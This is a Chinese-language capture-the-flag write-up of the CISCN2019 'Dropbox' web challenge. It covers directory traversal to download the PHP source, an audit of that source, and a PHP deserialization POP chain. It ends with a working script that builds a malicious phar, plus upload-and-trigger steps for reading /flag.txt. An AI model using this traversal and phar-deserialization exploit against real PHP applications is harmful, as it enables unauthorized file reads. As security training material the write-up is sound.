[CISCN2019 華北賽區 Day1 Web1]Dropbox
目錄穿越下載
註冊、登入,發現可檔案上傳。上傳檔案後發現可以下載或者刪除,嘗試上傳php馬但是發現都被過濾,抓包下載的選項。發現下載可能存在目錄穿越。於是嘗試../../index.php
,發現可成功下載。於是將download.php
delete.php
下載,審原始碼可知還有一個class.php
程式碼審計
寫這篇我也是到處抄抄,明白的地方就吸過來,現在開始看著原始碼分析。
index.php
#index.php
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
?>
<!DOCTYPE html>
<html>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<title>網盤管理</title>
<head>
<link href="static/css/bootstrap.min.css" rel="stylesheet">
<link href="static/css/panel.css" rel="stylesheet">
<script src="static/js/jquery.min.js"></script>
<script src="static/js/bootstrap.bundle.min.js"></script>
<script src="static/js/toast.js"></script>
<script src="static/js/panel.js"></script>
</head>
<body>
<nav aria-label="breadcrumb">
<ol class="breadcrumb">
<li class="breadcrumb-item active">管理皮膚</li>
<li class="breadcrumb-item active"><label for="fileInput" class="fileLabel">上傳檔案</label></li>
<li class="active ml-auto"><a href="#">你好 <?php echo $_SESSION['username']?></a></li>
</ol>
</nav>
<input type="file" id="fileInput" class="hidden">
<div class="top" id="toast-container"></div>
<?php
include "class.php";
$a = new FileList($_SESSION['sandbox']);
$a->Name();
$a->Size();
?>
download.php
ini_set("open_basedir", getcwd() . ":/etc:/tmp");
限定只可以訪問當前目錄、/etc、/tmp三個目錄
$file->close()
存在可phar反序列化的地方,因為這裡會引用到class.php中的File類中close方法的file_get_contents
但是因為限定了訪問目錄只能是當前目錄、/etc、/tmp三個目錄,所以dwonload.php是不行的
具體前置知識看這[CISCN2019 華北賽區 Day1 Web1]Dropbox-CSDN部落格
#download.php
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
if (!isset($_POST['filename'])) {
die();
}
include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");
chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
Header("Content-type: application/octet-stream");
Header("Content-Disposition: attachment; filename=" . basename($filename));
echo $file->close();
} else {
echo "File not exist";
}
?>
delete.php
$file->open可以觸發到File類的open函式,而剛剛好裡面有file_exists函式可以觸發phar反序列化
#delete.php
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
if (!isset($_POST['filename'])) {
die();
}
include "class.php";
chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
$file->detele();
Header("Content-type: application/json");
$response = array("success" => true, "error" => "");
echo json_encode($response);
} else {
Header("Content-type: application/json");
$response = array("success" => false, "error" => "File not exist");
echo json_encode($response);
}
?>
class.php
整個下來最值得我感覺最值得了解清楚的是這裡
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) { #file就是每個我們上傳檔案的File物件
$this->results[$file->name()][$func] = $file->$func();
}
}
_call方法是在呼叫類中沒有的方法時才會觸發的魔術方法。
在index.php中,我們可以看到含有以下欄位
<?php
include "class.php";
$a = new FileList($_SESSION['sandbox']);
$a->Name();
$a->Size();
?>
結合Filelist類中的:
foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);# $file = true or false
array_push($this->files, $file);# 把File物件加入到files陣列
$this->results[$file->name()] = array(); #results 是個陣列,儲存以我們上傳的檔名作為鍵值,每個檔名鍵值對映一個陣列
}
從上面這幾個結合起來,我們可以看出來。整個呼叫的過程是例項一個Filelist類並且呼叫Name()、Size()方法。但是Filelist類沒有,所以_call方法被觸發。而 _call方法會呼叫到所需的方法(從File類中),並且將結果存放在二維陣列results中,這個二維陣列具體長這樣子
Name | Size | |
---|---|---|
filename1 | ||
filename2 |
粗略的瞭解了大概,我們再詳細講講裡面整個_call()的整個過程,首先 _ call()函式會在呼叫類中不存在方法後被呼叫。$func是 _ call自動讀的形參,即不存在的方法,$args為呼叫方法中的引數。 array_push($this->funcs, $func);
是將讀到的$func壓進去這個類中原本存在的funcs陣列。而後面foreach的內容,就是完善這二維陣列的作用。
#class.php
<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);
class User {
public $db;
public function __construct() {
global $db;
$this->db = $db;
}
public function user_exist($username) {
$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows;
if ($count === 0) {
return false;
}
return true;
}
public function add_user($username, $password) {
if ($this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
return true;
}
public function verify_user($username, $password) {
if (!$this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($expect);
$stmt->fetch();
if (isset($expect) && $expect === $password) {
return true;
}
return false;
}
public function __destruct() {
$this->db->close();
}
}
class FileList {
private $files;#files[File物件]
private $results;#resules[filename][function]存function方法執行後的結果
private $funcs;#funciton
public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);
$key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]);
foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);# $file = true or false
array_push($this->files, $file);# 把File物件加入到files陣列
$this->results[$file->name()] = array(); #results 是個陣列,儲存以我們上傳的檔名作為鍵值,每個檔名鍵值對映一個陣列
}
}
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) { #file就是每個我們上傳檔案的File物件
$this->results[$file->name()][$func] = $file->$func();
}
}
public function __destruct() {
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下載</a> / <a href="#" class="delete">刪除</a></td>';
$table .= '</tr>';
}
echo $table;
}
}
class File {
public $filename;
public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}
public function name() {
return basename($this->filename);
}
public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];
}
public function detele() {
unlink($this->filename);
}
public function close() {
return file_get_contents($this->filename);
}
}
?>
pop鏈構造
這個時候我知道鐵定要透過 file_get_contents來解決方法的,但是還是太難理解怎麼將一串連在一起,看了一篇wp中動調的方法解決讓我豁然開朗。[CISCN2019 華北賽區 Day1 Web1]Dropbox復現 - TJ_WaTer - 部落格園 (cnblogs.com)
1.從delete.php開始
2.進入$file->open,觸發file_exists(此時的$filename=phar://test.phar)
3.而對於file_exists,當他接觸到phar時已經進行了反序列化
4.delete.php中的行為結束,但是還沒結束,此時因為phar的反序列化觸發了類的例項化,這時候需要解構函式回收。
public function __destruct() {
$this->db->close();
}
5.這時候可以用db=FileList()來觸發FileList中的_call()
6._call()接收到引數後呼叫了File類中的close來處理
7.這時候讓File類中的$filename為‘/flag.txt’來完成檔案包含的最後一環
構造程式碼
拿了這位師傅的wp來打,自己寫的不知道為什麼死活上傳後不顯示有東西存在T_T
[CISCN2019 華北賽區 Day1 Web1]Dropbox_uncaught exception 'unexpectedvalueexception' with-CSDN部落格
<?php
class User {
public $db;
}
class FileList {
private $files;
public function __construct()
{
$this->files = array(new File());
}
}
class File {
public $filename = '/flag.txt';
}
$a = new User();
$a->db = new FileList();
@unlink('test.phar');
$phar=new Phar('test.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->setMetadata($a);
$phar->addFromString("test.txt","test");
$phar->stopBuffering();
?>
老生常談事項:phpini中修改為phar.readonly = Off
並且去掉;
符號才能生成phar檔案。
最終payload
上傳test.phar,抓包修改為jpg,檔案型別改為image/jpeg。
下載時抓包,將filename改為phar://test.jpg(有這個標誌頭才能觸發phar反序列化)